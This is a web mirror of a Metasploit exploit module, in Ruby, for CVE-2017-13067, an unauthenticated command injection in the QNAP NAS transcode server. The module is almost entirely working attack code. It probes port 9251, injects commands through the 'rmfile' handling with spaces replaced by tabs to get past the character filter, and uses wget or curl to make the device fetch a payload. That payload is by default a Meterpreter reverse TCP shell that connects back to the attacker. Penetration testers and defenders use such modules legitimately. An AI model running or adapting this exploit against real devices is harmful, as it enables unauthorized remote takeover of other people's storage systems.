CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/qnap_transcode_server.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'QNAP Transcode Server Command Execution',
15
'Description' => %q{
16
This module exploits an unauthenticated remote command injection
17
vulnerability in QNAP NAS devices. The transcoding server listens
18
on port 9251 by default and is vulnerable to command injection
19
using the 'rmfile' command.
20
21
This module was tested successfully on a QNAP TS-431 with
22
firmware version 4.3.3.0262 (20170727).
23
},
24
'Author' =>
25
[
26
'Zenofex', # Initial vulnerability discovery and PoC
27
'0x00string', # Initial vulnerability discovery and PoC
28
'bcoles' # Metasploit
29
],
30
'License' => MSF_LICENSE,
31
'Platform' => 'linux',
32
'References' =>
33
[
34
[ 'CVE', '2017-13067' ],
35
[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
36
[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
37
],
38
'DisclosureDate' => '2017-08-06',
39
'Privileged' => true,
40
'Arch' => ARCH_ARMLE,
41
'DefaultOptions' =>
42
{
43
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
44
},
45
'Targets' => [['Automatic', {}]],
46
'CmdStagerFlavor' => %w{wget curl},
47
'DefaultTarget' => 0))
48
49
register_options(
50
[
51
Opt::RPORT(9251),
52
OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
53
])
54
deregister_options 'cmdstager::decoder'
55
end
56
57
def check
58
vprint_status 'Connecting to transcode server...'
59
60
connect
61
sock.put "\x01\x00\x00\x00"
62
res = sock.get_once
63
64
if res.blank?
65
vprint_status 'No reply from server'
66
return CheckCode::Safe
67
end
68
69
vprint_status "Received response: #{res}"
70
71
return CheckCode::Detected if res.to_s =~ /client's request is accepted/
72
73
CheckCode::Safe
74
rescue ::Rex::ConnectionError
75
vprint_error 'Connection failed'
76
return CheckCode::Unknown
77
ensure
78
disconnect
79
end
80
81
def execute_command(cmd, opts)
82
# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
83
# Execute each command seperately
84
cmd.split(';').each do |c|
85
connect
86
vprint_status "Executing command: #{c}"
87
88
# Replace spaces with tabs
89
c.tr! ' ', "\t"
90
91
sock.put "\x01\x00\x00\x00/|#{c}|\x00"
92
res = sock.get_once
93
94
unless res.to_s =~ /client's request is accepted/
95
print_status 'Unexpected reply'
96
break
97
end
98
99
print_status "Sent command successfully (#{c.length} bytes)"
100
101
disconnect
102
103
if c =~ /^(curl|wget)/
104
print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
105
Rex.sleep datastore['DELAY']
106
end
107
end
108
rescue ::Rex::ConnectionError
109
fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
110
ensure
111
disconnect
112
end
113
114
def exploit
115
vprint_status 'Connecting to transcode server...'
116
execute_cmdstager linemax: 400
117
end
118
end
119
120